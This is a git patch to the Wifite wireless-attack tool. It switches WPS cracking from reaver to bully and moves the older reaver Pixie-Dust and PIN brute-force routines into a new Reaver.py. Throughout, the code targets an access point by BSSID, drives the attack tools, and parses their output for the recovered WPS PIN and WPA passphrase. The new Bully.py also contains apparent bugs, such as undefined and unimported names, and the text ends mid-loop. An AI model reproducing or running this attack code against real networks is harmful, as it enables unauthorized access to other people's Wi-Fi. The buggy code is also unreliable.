From c4773c6d1a392b4686933470e68f06a776031855 Mon Sep 17 00:00:00 2001 From: derv82 Date: Wed, 17 May 2017 23:19:49 -0400 Subject: [PATCH] Use bully instead of reaver. Detailed WPS output. TODO: * Actually test that cracked PINs are detected & saved, pending #28 * Command-line options to specify max lockout/timeout/noassoc/failure --- Wifite.py | 18 ++ py/Airodump.py | 14 +- py/Attack.py | 5 +- py/AttackWPS.py | 406 +-------------------------------------------- py/Bully.py | 207 +++++++++++++++++++++++ py/Client.py | 4 +- py/Process.py | 4 +- py/Reaver.py | 425 ++++++++++++++++++++++++++++++++++++++++++++++++ 8 files changed, 671 insertions(+), 412 deletions(-) create mode 100644 py/Bully.py create mode 100644 py/Reaver.py diff --git a/Wifite.py b/Wifite.py index 7eab015..3eec25a 100755 --- a/Wifite.py +++ b/Wifite.py @@ -105,6 +105,15 @@ class Wifite(object): result = attack.run() except Exception, e: Color.pl("\n{!} {R}Error: {O}%s" % str(e)) + if Configuration.verbose > 0 or True: + Color.pl('\n{!} {O}Full stack trace below') + from traceback import format_exc + Color.p('\n{!} ') + err = format_exc().strip() + err = err.replace('\n', '\n{!} {C} ') + err = err.replace(' File', '{W}File') + err = err.replace(' Exception: ', '{R}Exception: {O}') + Color.pl(err) except KeyboardInterrupt: Color.pl('\n{!} {O}interrupted{W}\n') if not self.user_wants_to_continue(targets_remaining, 1): @@ -128,6 +137,15 @@ class Wifite(object): attack.run() except Exception, e: Color.pl("\n{!} {R}Error: {O}%s" % str(e)) + if Configuration.verbose > 0 or True: + Color.pl('\n{!} {O}Full stack trace below') + from traceback import format_exc + Color.p('\n{!} ') + err = format_exc().strip() + err = err.replace('\n', '\n{!} {C} ') + err = err.replace(' File', '{W}File') + err = err.replace(' Exception: ', '{R}Exception: {O}') + Color.pl(err) except KeyboardInterrupt: Color.pl('\n{!} {O}interrupted{W}\n') if not self.user_wants_to_continue(targets_remaining): diff --git a/py/Airodump.py b/py/Airodump.py index aa9f44a..b9648c6 100644 --- a/py/Airodump.py +++ b/py/Airodump.py @@ -125,7 +125,7 @@ class Airodump(object): if fil.endswith('.xor'): os.remove(fil) - def get_targets(self): + def get_targets(self, apply_filter=True): ''' Parses airodump's CSV file, returns list of Targets ''' # Find the .CSV file csv_filename = None @@ -145,8 +145,9 @@ class Airodump(object): capfile = csv_filename[:-3] + 'cap' Wash.check_for_wps_and_update_targets(capfile, targets) - # Filter targets based on encryption - targets = Airodump.filter_targets(targets, skip_wash=self.skip_wash) + if apply_filter: + # Filter targets based on encryption & WPS capability + targets = Airodump.filter_targets(targets, skip_wash=self.skip_wash) # Sort by power targets.sort(key=lambda x: x.power, reverse=True) @@ -245,11 +246,10 @@ class Airodump(object): while i < len(result): if bssid and result[i].bssid.lower() != bssid.lower(): result.pop(i) - continue - if essid and result[i].essid.lower() != essid.lower(): + elif essid and result[i].essid and result[i].essid.lower() != essid.lower(): result.pop(i) - continue - i += 1 + else: + i += 1 return result def deauth_hidden_targets(self): diff --git a/py/Attack.py b/py/Attack.py index eddd92f..c18aa16 100644 --- a/py/Attack.py +++ b/py/Attack.py @@ -21,7 +21,7 @@ class Attack(object): Waits for target to appear in airodump ''' start_time = time.time() - targets = airodump.get_targets() + targets = airodump.get_targets(apply_filter=False) while len(targets) == 0: # Wait for target to appear in airodump. if int(time.time() - start_time) > Attack.target_wait: @@ -45,6 +45,3 @@ class Attack(object): return airodump_target - -if __name__ == '__main__': - pass diff --git a/py/AttackWPS.py b/py/AttackWPS.py index 4206a97..99e2a23 100644 --- a/py/AttackWPS.py +++ b/py/AttackWPS.py @@ -7,10 +7,7 @@ from Color import Color from Configuration import Configuration from CrackResultWPS import CrackResultWPS from Process import Process - -import os -import time -import re +from Bully import Bully class AttackWPS(Attack): def __init__(self, target): @@ -27,400 +24,15 @@ class AttackWPS(Attack): return self.success # Run Pixie-Dust attack - if self.is_pixiedust_supported(): - if self.run_pixiedust_attack(): - # Pixie-Dust attack succeeded. We're done. - self.success = True - return self.success - else: - Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}") - - if Configuration.pixie_only: + bully = Bully(self.target, pixie=True) + if bully.crack_result is not None: + # Pixie-Dust attack succeeded. We're done. + self.crack_result = bully.crack_result + elif Configuration.pixie_only: Color.pl('\r{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}') - self.success = False else: # Run WPS-PIN attack - self.success = self.run_wps_pin_attack() - return self.success + bully = Bully(self.target, pixie=False) + self.crack_result = bully.crack_result + return self.crack_result is not None - - def is_pixiedust_supported(self): - ''' Checks if 'reaver' supports WPS Pixie-Dust attack ''' - output = Process(['reaver', '-h']).stderr() - return '--pixie-dust' in output - - def run_pixiedust_attack(self): - # Write reaver stdout to file. - self.stdout_file = Configuration.temp('reaver.out') - if os.path.exists(self.stdout_file): - os.remove(self.stdout_file) - - command = [ - 'reaver', - '--interface', Configuration.interface, - '--bssid', self.target.bssid, - '--channel', self.target.channel, - '--pixie-dust', '1', # pixie-dust attack - #'--delay', '0', - #'--no-nacks', - '--session', '/dev/null', # Don't restart session - '-vv' # (very) verbose - ] - stdout_write = open(self.stdout_file, 'a') - reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) - - pin = None - step = 'initializing' - time_since_last_step = 0 - - with Airodump(channel=self.target.channel, - target_bssid=self.target.bssid, - skip_wash=True, - output_file_prefix='pixie') as airodump: - - Color.clear_line() - Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...") - - while True: - try: - airodump_target = self.wait_for_target(airodump) - except Exception as e: - Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e) - Color.pl("") - return False - - stdout_write.flush() - - # Check output from reaver process - stdout = self.get_stdout() - stdout_last_line = stdout.split('\n')[-1] - - (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) - - # Check if we cracked it, or if process stopped. - if (pin and psk and ssid) or reaver.poll() != None: - reaver.interrupt() - - # Check one-last-time for PIN/PSK/SSID, in case of race condition. - stdout = self.get_stdout() - (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout) - - # Check if we cracked it. - if pin and psk and ssid: - # We cracked it. - bssid = self.target.bssid - Color.clear_line() - Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n") - self.crack_result = CrackResultWPS(bssid, ssid, pin, psk) - self.crack_result.dump() - return True - else: - # Failed to crack, reaver proces ended. - Color.clear_line() - Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n") - return False - - if 'WPS pin not found' in stdout: - Color.pl('{R}failed: {O}WPS pin not found{W}') - break - - last_step = step - # Status updates, depending on last line of stdout - if 'Waiting for beacon from' in stdout_last_line: - step = '({C}step 1/8{W}) waiting for beacon' - elif 'Associated with' in stdout_last_line: - step = '({C}step 2/8{W}) waiting to start session' - elif 'Starting Cracking Session.' in stdout_last_line: - step = '({C}step 3/8{W}) waiting to try pin' - elif 'Trying pin' in stdout_last_line: - step = '({C}step 4/8{W}) trying pin' - elif 'Sending EAPOL START request' in stdout_last_line: - step = '({C}step 5/8{W}) sending eapol start request' - elif 'Sending identity response' in stdout_last_line: - step = '({C}step 6/8{W}) sending identity response' - elif 'Sending M2 message' in stdout_last_line: - step = '({C}step 7/8{W}) sending m2 message (may take a while)' - elif 'Detected AP rate limiting,' in stdout_last_line: - if Configuration.wps_skip_rate_limit: - Color.pl('{R}failed: {O}hit WPS rate-limit{W}') - Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + - ' this kind of failure in the future{W}') - break - step = '({C}step -/8{W}) waiting for AP rate limit' - - if step != last_step: - # Step changed, reset step timer - time_since_last_step = 0 - else: - time_since_last_step += 1 - - if time_since_last_step > Configuration.wps_pixie_step_timeout: - Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) - break - - # TODO: Timeout check - if reaver.running_time() > Configuration.wps_pixie_timeout: - Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) - break - - # Reaver Failure/Timeout check - fail_count = stdout.count('WPS transaction failed') - if fail_count > Configuration.wps_fail_threshold: - Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) - break - timeout_count = stdout.count('Receive timeout occurred') - if timeout_count > Configuration.wps_timeout_threshold: - Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) - break - - Color.clear_line() - Color.pattack("WPS", airodump_target, "Pixie-Dust", step) - - time.sleep(1) - continue - - # Attack failed, already printed reason why - reaver.interrupt() - stdout_write.close() - return False - - - def run_wps_pin_attack(self): - # Write reaver stdout to file. - self.stdout_file = Configuration.temp('reaver.out') - if os.path.exists(self.stdout_file): - os.remove(self.stdout_file) - stdout_write = open(self.stdout_file, 'a') - - # Start reaver process - command = [ - 'reaver', - '--interface', Configuration.interface, - '--bssid', self.target.bssid, - '--channel', self.target.channel, - '--session', '/dev/null', # Don't restart session - '-vv' # verbose - ] - reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) - - self.success = False - pins = set() - pin_current = 0 - pin_total = 11000 - failures = 0 - state = 'initializing' - - with Airodump(channel=self.target.channel, - target_bssid=self.target.bssid, - skip_wash=True, - output_file_prefix='wps') as airodump: - - Color.clear_line() - Color.pattack("WPS", self.target, "PIN Attack", "Waiting for target to appear...") - - while True: - try: - airodump_target = self.wait_for_target(airodump) - except Exception as e: - Color.pattack("WPS", self.target, "PIN Attack", "{R}failed: {O}%s{W}" % e) - Color.pl("") - return False - time.sleep(1) - percent = 100 * float(pin_current) / float(pin_total) - Color.clear_line() - status = '{G}%.2f%% done{W}, ' % percent - status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total) - status += '{R}%d/%d failures{W}' % (failures, Configuration.wps_fail_threshold) - Color.pattack("WPS", airodump_target, "PIN Attack", status) - - if failures >= Configuration.wps_fail_threshold: - Color.pattack("WPS", airodump_target, "PIN Attack", '{R}failed: {O}too many failures{W}') - Color.pl("") - break - - # Get output - out = self.get_stdout() - - # Clear output file - f = open(self.stdout_file, 'w') - f.write('') - f.close() - - # CHECK FOR CRACK - - (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out) - if pin and psk and ssid: - # We cracked it. - self.success = True - Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n') - self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) - self.crack_result.dump() - break - - - # PIN PROGRESS - - # Reaver 1.5.* - match = None - for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out): - # Look at last entry for "Pin count advanced" to get latest pin count - pass - if match: - # Reset failures on successful try - failures = 0 - groups = match.groups() - pin_current = int(groups[0]) - pin_total = int(groups[1]) - - # Reaver 1.3, 1.4 - match = None - for match in re.finditer('Trying pin (\d+)', out): - if match: - pin = int(match.groups()[0]) - if pin not in pins: - # Reset failures on successful try - failures = 0 - pins.add(pin) - pin_current += 1 - - # Failures - if 'WPS transaction failed' in out: - failures += out.count('WPS transaction failed') - elif 'Receive timeout occurred' in out: - # Reaver 1.4 - failures += out.count('Receive timeout occurred') - - # Status - if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}' - if 'Starting Cracking Session' in out: state = '{C}cracking{W}' - # Reaver 1.4 - if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}' - - if 'Detected AP rate limiting' in out: - state = '{R}rate-limited{W}' - if Configuration.wps_skip_rate_limit: - Color.pl(state) - Color.pl('{!} {R}hit rate limit, stopping{W}') - Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + - ' this kind of failure in the future{W}') - break - - if 'WARNING: Failed to associate with' in out: - # TODO: Fail after X association failures (instead of just one) - Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}') - break - - match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out) - if match: - eta = match.groups()[0] - state = '{C}cracking, ETA: {G}%s{W}' % eta - - match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out) - if match: - eta = match.groups()[0] - state = '{C}cracking, ETA: {G}%s{W}' % eta - pins_left = int(match.groups()[1]) - - # Divine pin_current & pin_total from this: - pin_current = 11000 - pins_left - - # Check if process is still running - if reaver.pid.poll() != None: - Color.pl('{R}failed{W}') - Color.pl('{!} {R}reaver{O} quit unexpectedly{W}') - self.success = False - break - - # Output the current state - Color.p(state) - - ''' - [+] Waiting for beacon from AA:BB:CC:DD:EE:FF - [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: ) - [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000 - [+] Trying pin 12345670. - [+] Pin count advanced: 46. Max pin attempts: 11000 - [!] WPS transaction failed (code: 0x02), re-trying last pin - [!] WPS transaction failed (code: 0x03), re-trying last pin - [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445) - [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking - [!] WARNING: 25 successive start failures - [!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217) - [+] 0.55% complete. Elapsed time: 0d0h2m21s. - [+] Estimated Remaining time: 0d15h11m35s - - [+] Pin cracked in 7 seconds - [+] WPS PIN: '12345678' - [+] WPA PSK: 'abcdefgh' - [+] AP SSID: 'Test Router' - - Reaver 1.4: - [+] Max time remaining at this rate: 18:19:36 (10996 pins left to try) - [!] WARNING: Receive timeout occurred - - ''' - - reaver.interrupt() - - return self.success - - - @staticmethod - def get_pin_psk_ssid(stdout): - ''' Parses WPS PIN, PSK, and SSID from output ''' - pin = psk = ssid = None - - # Check for PIN. - # PIN: Printed *before* the attack completes. - regex = re.search('WPS pin: *([0-9]*)', stdout) - if regex: - pin = regex.groups()[0] - # PIN: Printed when attack is completed. - regex = re.search("WPS PIN: *'([0-9]+)'", stdout) - if regex: - pin = regex.groups()[0] - - # Check for PSK. - regex = re.search("WPA PSK: *'(.+)'", stdout) - if regex: - psk = regex.groups()[0] - - # Check for SSID - regex = re.search("AP SSID: *'(.+)'", stdout) - if regex: - ssid = regex.groups()[0] - - return (pin, psk, ssid) - - def get_stdout(self): - ''' Gets output from stdout_file ''' - if not self.stdout_file: - return '' - f = open(self.stdout_file, 'r') - stdout = f.read() - f.close() - return stdout.strip() - - -if __name__ == '__main__': - stdout = ''' -[Pixie-Dust] -[Pixie-Dust] Pixiewps 1.1 -[Pixie-Dust] -[Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 -[Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 -[Pixie-Dust] [+] WPS pin: 12345678 -[Pixie-Dust] -[Pixie-Dust] [*] Time taken: 0 s -[Pixie-Dust] -Running reaver with the correct pin, wait ... -Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402 - -[Reaver Test] BSSID: AA:BB:CC:DD:EE:FF -[Reaver Test] Channel: 11 -[Reaver Test] [+] WPS PIN: '12345678' -[Reaver Test] [+] WPA PSK: 'Test PSK' -[Reaver Test] [+] AP SSID: 'Test Router' - ''' - print AttackWPS.get_pin_psk_ssid(stdout) - pass diff --git a/py/Bully.py b/py/Bully.py new file mode 100644 index 0000000..5e7888e --- /dev/null +++ b/py/Bully.py @@ -0,0 +1,207 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +from Attack import Attack +from Airodump import Airodump +from Color import Color +from Timer import Timer +from Process import Process +from Configuration import Configuration + +import os, time, re +from threading import Thread + +class Bully(Attack): + def __init__(self, target, pixie=False): + super(Bully, self).__init__(target) + self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0 + self.pins_attempted = 0 + self.state = "{O}Waiting for beacon{W}" + self.m_state = None + self.start_time = time.time() + + self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None + self.crack_result = None + + self.target = target + self.pixie = pixie + + self.cmd = [ + "stdbuf", "-o0", # No buffer. See https://stackoverflow.com/a/40453613/7510292 + "bully", + "--bssid", target.bssid, + "--channel", target.channel, + "--detectlock", # Detect WPS lockouts unreported by AP + "--force", + "-v", "4" + ] + #self.cmd.extend(["-p", "80246212", "--force", "--bruteforce"]) + if self.pixie: + self.cmd.append("--pixiewps") + self.cmd.append(Configuration.interface) + + self.bully_proc = None + self.run() + self.stop() + + def attack_type(self): + return "Pixie-Dust" if self.pixie else "PIN Attack" + + def run(self): + with Airodump(channel=self.target.channel, + target_bssid=self.target.bssid, + skip_wash=True, + output_file_prefix='wps_pin') as airodump: + # Wait for target + Color.clear_entire_line() + Color.pattack("WPS", + self.target, + self.attack_type(), + "Waiting for target to appear...") + self.target = self.wait_for_target(airodump) + + # Start bully + self.bully_proc = Process(self.cmd, + stderr=Process.devnull(), + bufsize=0, + cwd=Configuration.temp()) + t = Thread(target=self.parse_line_thread) + t.daemon = True + t.start() + try: + while self.bully_proc.poll() is None: + try: + self.target = self.wait_for_target(airodump) + except Exception as e: + Color.clear_entire_line() + Color.pattack("WPS", + self.target, + self.attack_type(), + "{R}failed: {O}%s{W}" % e) + Color.pl("") + self.stop() + break + Color.clear_entire_line() + Color.pattack("WPS", + self.target, + self.attack_type(), + self.get_status()) + time.sleep(0.5) + except KeyboardInterrupt as e: + self.stop() + raise e + except Exception as e: + self.stop() + raise e + + if self.crack_result is None: + Color.clear_entire_line() + Color.pattack("WPS", + self.target, + self.attack_type(), + "{R}Failed{W}\n") + + def running_time(self): + return int(time.time() - self.start_time) + + def get_status(self): + result = self.state + result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time()) + result += " {G}tries:%d{W}" % self.pins_attempted + result += " {O}failures:%d{W}" % (self.consecutive_timeouts + self.consecutive_noassoc) + result += " {R}lockouts:%d{W}" % self.consecutive_lockouts + result += ")" + return result + + def parse_line_thread(self): + for line in iter(self.bully_proc.pid.stdout.readline, b""): + if line == "": continue + line = line.replace("\r", "").replace("\n", "").strip() + if self.parse_line(line): break # Cracked + + def parse_line(self, line): + # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c) + got_beacon = re.compile(r".*Got beacon for '(.*)' \((.*)\)").match(line) + if got_beacon: + # group(1)=ESSID, group(2)=BSSID + self.state = "Got beacon" + + # [+] Last State = 'NoAssoc' Next pin '48855501' + last_state = re.compile(r".*Last State = '(.*)'\s*Next pin '(.*)'").match(line) + if last_state: + # group(1)=result, group(2)=PIN + result = "Start" # last_state.group(1) + pin = last_state.group(2) + self.state = "Trying PIN:{C}%s{W}" % pin + + # [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505' + # [+] Tx( Auth ) = 'Timeout' Next pin '80241263' + rx_m = re.compile(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'").match(line) + if rx_m: + # group(1)=M3/M5, group(2)=result, group(3)=PIN + self.m_state = rx_m.group(1) + result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad + if result in ["Pin1Bad", "Pin2Bad"]: + self.pins_attempted += 1 + self.consecutive_lockouts = 0 # Reset lockout count + self.consecutive_timeouts = 0 # Reset timeout count + self.consecutive_noassoc = 0 # Reset timeout count + result = "{G}%s{W}" % result + elif result == "Timeout": + self.consecutive_timeouts += 1 + result = "{O}%s{W}" % result + elif result == "NoAssoc": + self.consecutive_noassoc += 1 + result = "{O}%s{W}" % result + else: + result = "{R}%s{W}" % result + pin = rx_m.group(3) + self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result) + + # [!] WPS lockout reported, sleeping for 43 seconds ... + lock_out = re.compile(r".*WPS lockout reported, sleeping for (\d+) seconds").match(line) + if lock_out: + sleeping = lock_out.group(1) + self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping + self.consecutive_lockouts += 1 + + # [Pixie-Dust] WPS pin not found + pixie_re = re.compile(r".*\[Pixie-Dust\] WPS pin not found").match(line) + if pixie_re: + self.state = "{R}Failed{W}" + + # [*] Pin is '80246213', key is 'password' + pin_key_re = re.compile(r"^\s*Pin is '(\d*)', key is '(.*)'\s*$").match(line) + if pin_key_re: + self.cracked_pin = pin_key_re.group(1) + self.cracked_key = pin_key_re.group(2) + + # PIN : '80246213' + pin_re = re.compile(r"^\s*PIN\s*:\s*'(.*)'\s*$").match(line) + if pin_re: self.cracked_pin = pin_re.group(1) + + # KEY : 'password' + key_re = re.compile(r"^\s*KEY\s*:\s*'(.*)'\s*$").match(line) + if key_re: self.cracked_key = key_re.group(1) + + #warn_re = re.compile(r"\[\!\]\s*(.*)$").match(line) + #if warn_re: self.state = "{O}%s{W}" % warn_re.group(1) + + if not self.crack_result and self.cracked_pin and self.cracked_key: + Color.clear_entire_line() + Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n") + self.crack_result = CrackResultWPS( + airodump_target.essid, + airodump_target.bssid, + self.cracked_pin, + self.cracked_key) + return True + else: + return False + + def stop(self): + if hasattr(self, "pid") and self.pid and self.pid.poll() == None: + self.pid.interrupt() + + def __del__(self): + self.stop() diff --git a/py/Client.py b/py/Client.py index 51a6918..1556019 100644 --- a/py/Client.py +++ b/py/Client.py @@ -22,8 +22,8 @@ class Client(object): 6 Probed ESSIDs ''' self.station = fields[0].strip() - self.power = int(fields[3].strip()) - self.packets = int(fields[4].strip()) + self.power = int(fields[3].strip()) if fields[3].strip().isdigit() else 0 + self.packets = int(fields[4].strip()) if fields[4].strip().isdigit() else 0 self.bssid = fields[5].strip() diff --git a/py/Process.py b/py/Process.py index 3b510b7..503e0bd 100644 --- a/py/Process.py +++ b/py/Process.py @@ -55,7 +55,7 @@ class Process(object): return True - def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None): + def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None, bufsize=0): ''' Starts executing command ''' if type(command) == str: @@ -78,7 +78,7 @@ class Process(object): self.start_time = time.time() - self.pid = Popen(command, stdout=sout, stderr=serr, cwd=cwd) + self.pid = Popen(command, stdout=sout, stderr=serr, cwd=cwd, bufsize=bufsize) def __del__(self): ''' diff --git a/py/Reaver.py b/py/Reaver.py new file mode 100644 index 0000000..0b40c76 --- /dev/null +++ b/py/Reaver.py @@ -0,0 +1,425 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +from Attack import Attack +from Airodump import Airodump +from Color import Color +from Configuration import Configuration +from CrackResultWPS import CrackResultWPS +from Process import Process + +import os, time, re + +class Reaver(Attack): + def __init__(self, target): + super(Reaver, self).__init__(target) + self.success = False + self.crack_result = None + + def run(self): + ''' Run all WPS-related attacks ''' + + # Drop out if user specified to not use Reaver + if Configuration.no_reaver: + self.success = False + return self.success + + # Run Pixie-Dust attack + if self.is_pixiedust_supported(): + if self.run_pixiedust_attack(): + # Pixie-Dust attack succeeded. We're done. + self.success = True + return self.success + else: + Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}") + + if Configuration.pixie_only: + Color.pl('\r{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}') + self.success = False + else: + # Run WPS-PIN attack + self.success = self.run_wps_pin_attack() + return self.success + + + def is_pixiedust_supported(self): + ''' Checks if 'reaver' supports WPS Pixie-Dust attack ''' + output = Process(['reaver', '-h']).stderr() + return '--pixie-dust' in output + + def run_pixiedust_attack(self): + # Write reaver stdout to file. + self.stdout_file = Configuration.temp('reaver.out') + if os.path.exists(self.stdout_file): + os.remove(self.stdout_file) + + command = [ + 'reaver', + '--interface', Configuration.interface, + '--bssid', self.target.bssid, + '--channel', self.target.channel, + '--pixie-dust', '1', # pixie-dust attack + #'--delay', '0', + #'--no-nacks', + '--session', '/dev/null', # Don't restart session + '-vv' # (very) verbose + ] + stdout_write = open(self.stdout_file, 'a') + reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) + + pin = None + step = 'initializing' + time_since_last_step = 0 + + with Airodump(channel=self.target.channel, + target_bssid=self.target.bssid, + skip_wash=True, + output_file_prefix='pixie') as airodump: + + Color.clear_line() + Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...") + + while True: + try: + airodump_target = self.wait_for_target(airodump) + except Exception as e: + Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e) + Color.pl("") + return False + + stdout_write.flush() + + # Check output from reaver process + stdout = self.get_stdout() + stdout_last_line = stdout.split('\n')[-1] + + (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) + + # Check if we cracked it, or if process stopped. + if (pin and psk and ssid) or reaver.poll() != None: + reaver.interrupt() + + # Check one-last-time for PIN/PSK/SSID, in case of race condition. + stdout = self.get_stdout() + (pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout) + + # Check if we cracked it. + if pin and psk and ssid: + # We cracked it. + bssid = self.target.bssid + Color.clear_entire_line() + Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n") + self.crack_result = CrackResultWPS(bssid, ssid, pin, psk) + self.crack_result.dump() + return True + else: + # Failed to crack, reaver proces ended. + Color.clear_line() + Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n") + return False + + if 'WPS pin not found' in stdout: + Color.pl('{R}failed: {O}WPS pin not found{W}') + break + + last_step = step + # Status updates, depending on last line of stdout + if 'Waiting for beacon from' in stdout_last_line: + step = '({C}step 1/8{W}) waiting for beacon' + elif 'Associated with' in stdout_last_line: + step = '({C}step 2/8{W}) waiting to start session' + elif 'Starting Cracking Session.' in stdout_last_line: + step = '({C}step 3/8{W}) waiting to try pin' + elif 'Trying pin' in stdout_last_line: + step = '({C}step 4/8{W}) trying pin' + elif 'Sending EAPOL START request' in stdout_last_line: + step = '({C}step 5/8{W}) sending eapol start request' + elif 'Sending identity response' in stdout_last_line: + step = '({C}step 6/8{W}) sending identity response' + elif 'Sending M2 message' in stdout_last_line: + step = '({C}step 7/8{W}) sending m2 message (may take a while)' + elif 'Detected AP rate limiting,' in stdout_last_line: + if Configuration.wps_skip_rate_limit: + Color.pl('{R}failed: {O}hit WPS rate-limit{W}') + Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + + ' this kind of failure in the future{W}') + break + step = '({C}step -/8{W}) waiting for AP rate limit' + + if step != last_step: + # Step changed, reset step timer + time_since_last_step = 0 + else: + time_since_last_step += 1 + + if time_since_last_step > Configuration.wps_pixie_step_timeout: + Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) + break + + # TODO: Timeout check + if reaver.running_time() > Configuration.wps_pixie_timeout: + Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) + break + + # Reaver Failure/Timeout check + fail_count = stdout.count('WPS transaction failed') + if fail_count > Configuration.wps_fail_threshold: + Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) + break + timeout_count = stdout.count('Receive timeout occurred') + if timeout_count > Configuration.wps_timeout_threshold: + Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) + break + + Color.clear_line() + Color.pattack("WPS", airodump_target, "Pixie-Dust", step) + + time.sleep(1) + continue + + # Attack failed, already printed reason why + reaver.interrupt() + stdout_write.close() + return False + + + def run_wps_pin_attack(self): + # Write reaver stdout to file. + self.stdout_file = Configuration.temp('reaver.out') + if os.path.exists(self.stdout_file): + os.remove(self.stdout_file) + stdout_write = open(self.stdout_file, 'a') + + # Start reaver process + command = [ + 'reaver', + '--interface', Configuration.interface, + '--bssid', self.target.bssid, + '--channel', self.target.channel, + '--session', '/dev/null', # Don't restart session + '-vv' # verbose + ] + reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) + + self.success = False + pins = set() + pin_current = 0 + pin_total = 11000 + failures = 0 + state = 'initializing' + + with Airodump(channel=self.target.channel, + target_bssid=self.target.bssid, + skip_wash=True, + output_file_prefix='wps') as airodump: + + Color.clear_line() + Color.pattack("WPS", self.target, "PIN Attack", "Waiting for target to appear...") + + while True: + try: + airodump_target = self.wait_for_target(airodump) + except Exception as e: + Color.pattack("WPS", self.target, "PIN Attack", "{R}failed: {O}%s{W}" % e) + Color.pl("") + return False + time.sleep(1) + percent = 100 * float(pin_current) / float(pin_total) + Color.clear_line() + status = '{G}%.2f%% done{W}, ' % percent + status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total) + status += '{R}%d/%d failures{W}' % (failures, Configuration.wps_fail_threshold) + Color.pattack("WPS", airodump_target, "PIN Attack", status) + + if failures >= Configuration.wps_fail_threshold: + Color.pattack("WPS", airodump_target, "PIN Attack", '{R}failed: {O}too many failures{W}') + Color.pl("") + break + + # Get output + out = self.get_stdout() + + # Clear output file + f = open(self.stdout_file, 'w') + f.write('') + f.close() + + # CHECK FOR CRACK + + (pin, psk, ssid) = Reaver.get_pin_psk_ssid(out) + if pin and psk and ssid: + # We cracked it. + self.success = True + Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n') + self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) + self.crack_result.dump() + break + + + # PIN PROGRESS + + # Reaver 1.5.* + match = None + for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out): + # Look at last entry for "Pin count advanced" to get latest pin count + pass + if match: + # Reset failures on successful try + failures = 0 + groups = match.groups() + pin_current = int(groups[0]) + pin_total = int(groups[1]) + + # Reaver 1.3, 1.4 + match = None + for match in re.finditer('Trying pin (\d+)', out): + if match: + pin = int(match.groups()[0]) + if pin not in pins: + # Reset failures on successful try + failures = 0 + 